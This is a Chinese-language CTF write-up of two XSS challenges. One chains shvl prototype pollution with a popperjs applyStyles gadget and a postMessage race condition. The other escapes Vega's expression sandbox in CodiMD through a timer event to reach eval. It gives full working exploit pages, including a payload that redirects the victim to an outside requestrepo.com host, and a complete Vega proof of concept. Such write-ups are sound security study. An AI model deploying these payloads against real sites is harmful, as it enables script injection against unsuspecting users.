pwn2lose比赛有两道xss,防止博客长草,mark一下
XSS题,给出bot能访问任意url
题目代码如下,逻辑比较简单:在监听到发来的message时间后卸载当前EventListener,使用shvl.set将e.data与quote变量合并输出为标签内容并调用Popper.createPopper
<script src="https://unpkg.com/[email protected]/dist/shvl.umd.js"></script>
<script src="https://unpkg.com/@popperjs/[email protected]"></script>
<button id="send-button" type="submit" class="ui-button text">send</button>
<iframe id='#quote-base' src="/quotes"></iframe>
<script>
const button = document.querySelector('#send-button');
const tooltip = document.querySelector('#send-tooltip');
const message = document.querySelector('#quote');
window.addEventListener('message', function setup(e) {
window.removeEventListener('message', setup);
quote = {'author': '', 'message': ''}
shvl.set(quote, Object.keys(JSON.parse(e.data))[0], Object.values(JSON.parse(e.data))[0]);
shvl.set(quote, Object.keys(JSON.parse(e.data))[1], Object.values(JSON.parse(e.data))[1]);
message.textContent = Object.values(quote)[1] + ' — ' + Object.values(quote)[0]
const popperInstance = Popper.createPopper(button, tooltip, {
placement: 'bottom',
modifiers: [
{
name: 'offset',
options: {
offset: [0, 8],
},
},
],
});
});
</script>引入的quote.html会在自加载时向父页面postMessage
//quote.html
<script>
phrases = [
{'@entrepreneur': 'The distance between your DREAMS and REALITY is called ACTION'},
{'@successman': 'MOTIVATION is what gets you started, HABIT is what keeps you going'},
{'@bornrich': 'It\'s hard to beat someone that never gives up'},
{'@businessman': 'Work while they sleep. Then live like they dream'},
{'@bigboss': 'Life begins at the end of your comfort zone'},
{'@daytrader': 'A successfull person never loses... They either win or learn!'}
]
setTimeout(function(){
index = Math.floor(Math.random() * 6)
parent.postMessage('{"author": "' + Object.keys(phrases[index])[0] + '", "message": "' + Object.values(phrases[index])[0] + '"}', '*');
}, 0)
</script>
题目没有X-Frame-Options,我们可以在自己的html中用<iframe>引入题目,并向其发送postMessage数据。同时shvl存在Prototype pollution,那自然是在库文件中找到能够触发XSS的gadget,这里很明显要从popperjs/[email protected]挖一个。在整个解题过程中要解决两个问题:
postMessage的速度要比页面内嵌的quote.html快,否则在quote.html加载后会向父页面发送无害的message并注销监听器popperjs中的gadget第一个问题先按下不表,先看pollution to xss部分
污染的部分shvl修复操作比较迷,只判断了用户输入的开头和结尾
也不能说是毫无用处,只能说是百无一用,简单测下污染如下
quote = {"author":"123"}
test = `{"__proto__.x":"hpdoger"}`
shvl.set(quote, Object.keys(JSON.parse(test))[0], Object.values(JSON.parse(test))[0]);
console.log(Object.prototype.x)
//hpdoger接下来从popper-core拉一个未混淆过的popperjs,本地debug看下Popper.createPopper实例创建过程中会有哪些操作。一路步入,call stack一直跟到978行发现对所有注册的modifiers进行回调操作
而在applyStyles这个装饰器中存在敏感操作element.setAttribute,会对用户选择的element进行属性值设置。这里的element分别为Popper.createPopper传入的button、tooltip标签元素
function applyStyles(_ref) {
var state = _ref.state;
Object.keys(state.elements).forEach(function (name) {
var style = state.styles[name] || {};
var attributes = state.attributes[name] || {};
var element = state.elements[name]; // arrow is optional + virtual elements
if (!isHTMLElement(element) || !getNodeName(element)) {
return;
} // Flow doesn't support to extend this property, but it's the most
// effective way to apply styles to an HTMLElement
// $FlowFixMe[cannot-write]
Object.assign(element.style, style);
Object.keys(attributes).forEach(function (name) {
var value = attributes[name];
if (value === false) {
element.removeAttribute(name);
} else {
element.setAttribute(name, value === true ? '' : value);
}
});
});
}遍历state.elements的逻辑中会对属性attributes赋值,第一次键名name会取为reference,即state.attributes[name]取到空值。而后对赋值后的attributes取键名、键值赋给element做属性值,也就是说我们污染Object.prototype.reference为{"onload":"xx"}即可向element中添加一个onload事件属性。
写个demo简单测试一下,button没有onload可用,这里用导航聚焦到标签id来触发XSS
quote = {"author":"123"}
test = `{"__proto__.reference":{"onfocus":"alert(1)","tabindex":"0", "id":"x"}}`
set(quote, Object.keys(JSON.parse(test))[0], Object.values(JSON.parse(test))[0]);
const popperInstance = Popper.createPopper(button, tooltip, {
placement: 'bottom',
modifiers: [
{
name: 'offset',
options: {
offset: [0, 8],
},
},
],
});

现在要解决第一个问题,这里有两种方法
先放@rebirthwyw师傅的做法,代码如下。在加载题目页面后,不断竞争地修改子页面quote.html窗体的location使其指向baidu.com,设置合理的setTimeout数量,可以稳定的在异步环境下竞争过quote.html自身完全加载的时间,在页面完全加载之前使其转向,自然不会触发内部的<script>标签内容
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<iframe src="https://small-talk.coach:1337/" id='ifr'></iframe>
<script>
var times = 0;
var max = 100;
function race() {
setTimeout(function(){
ifr = document.getElementById('ifr');
ifr.contentWindow.frames[0].location = "https://www.baidu.com/";
},10)
times++;
if (times<max) {
race();
} else {
}
}
setTimeout(function(){race()}, 5000);
</script>
</body>
</html>我的想法是在iframe.src引入题目链接(子页面)之前,就不断地向iframe窗体异步地发送postMessage消息。由于我们在异步的过程中一定会比iframe自身载入资源(载入孙子页面quote.html)要快,因此可以先quote.html一步发送postMessage,代码如下
<script>
var time = 995;
var genifr = document.createElement("iframe")
setTimeout(()=>{
// genifr.src = "./local.html"
genifr.src = "https://small-talk.coach:1337/"
genifr.id = "win"
document.body.append(genifr)
console.log("[+]:iframe create done")
},1000)
for(let i= 0; i <= 30; i++){
time = time + 1
setTimeout(function (){
post(genifr, i)
}, time)
}
async function post(ifr, i){
console.log(`loading: ${i}, current src_id :${ifr.id}`)
let params = `{"__proto__.reference":{"onfocus":"window.location='http://909p5z60.requestrepo.com'","tabindex":"0", "id":"x"},"bb":"123"}`
ifr.contentWindow.postMessage(params, '*')
}
genifr.addEventListener("load", ()=>{
genifr.contentWindow.location = "https://small-talk.coach:1337/#x"
// genifr.contentWindow.location = "./local.html#x"
})
</script>比较坑的一点是本地5ms资源加载的延迟,可以让我们设置setTimeout所需要的时间比较确定,只需要异步开始的时间无限接近iframe引入题目链接的时间即可。然而在管理员那边需要不断改变setTimeout的时间差,而且时不时题目就崩了…不过我觉得这两种都不是预期bypass window.removeEventListener的方法,等看到其他黑科技再分享出来。

最新版的codimd,上线的时候@rebirthwyw和@mads发现codimd所用的依赖vega依然存在XSS没有修复,需要mouseover触发
而vega也是我第一次接触,用在markdown画图/制表的一些操作。比较有意思的是,vega支持用JSON格式的数据来操纵DOM,例如hook events或建立svg窗体。在文档Vega-Signals给出的demo中,signal定义对应的on字段,信号用来捕获mousemove事件,响应操作在update中给出
events支持的全部Event Streams如下,几乎都是需要用户交互才能触发。万幸的是,vega自定义了一个计时器事件
那就可以用计时器延时(timer)自动触发update操作。按照vega格式要求写好poc测试,发现timer这个event对象并没有窗体指向,所以event.target指向undefined,从而无法获取ownerDocument,也就没办法用issue提到的方法逃逸出沙盒拿到eval
最初的想法是监听两个signal:其中一个hookkeypress这类窗体事件,update调用自身event.target.ownerDocument.defaultView.eval执行命令;另一个signal用来设置计时器,update调用内置expression触发类似于模拟点击/聚焦的操作,这样就能够在计时结束后执行第一个signal所hook的事件。
但翻了一遍官方expression手册后,并没有发现符合需求的表达式。倒是看到了有warn表达式
那可以在控制台输出来找找看timer字段里有没有指向窗体的属性值,果然在event.dataflow._el里找到ownerDocument指向,继续调用eval就能执行了
完整的poc如下,题目测试地址:https://hackus.xyz/
```vega
{
"signals": [
{
"name": "indexDate",
"description": "A date value that updates in response to mousemove.",
"update": "datetime(2005, 0, 1)",
"on": [{"events":"timer{2000}", "update": "join({'join':event.dataflow._el.ownerDocument.defaultView.eval},'alert(1)')"}]
}
],
"scales": [
{ "name": "x", "type": "time" }
],
"marks": [
{
"type": "rule",
"encode": {
"update": {
"x": {"scale": "x", "signal": "indexDate"}
}
}
}
]
}
```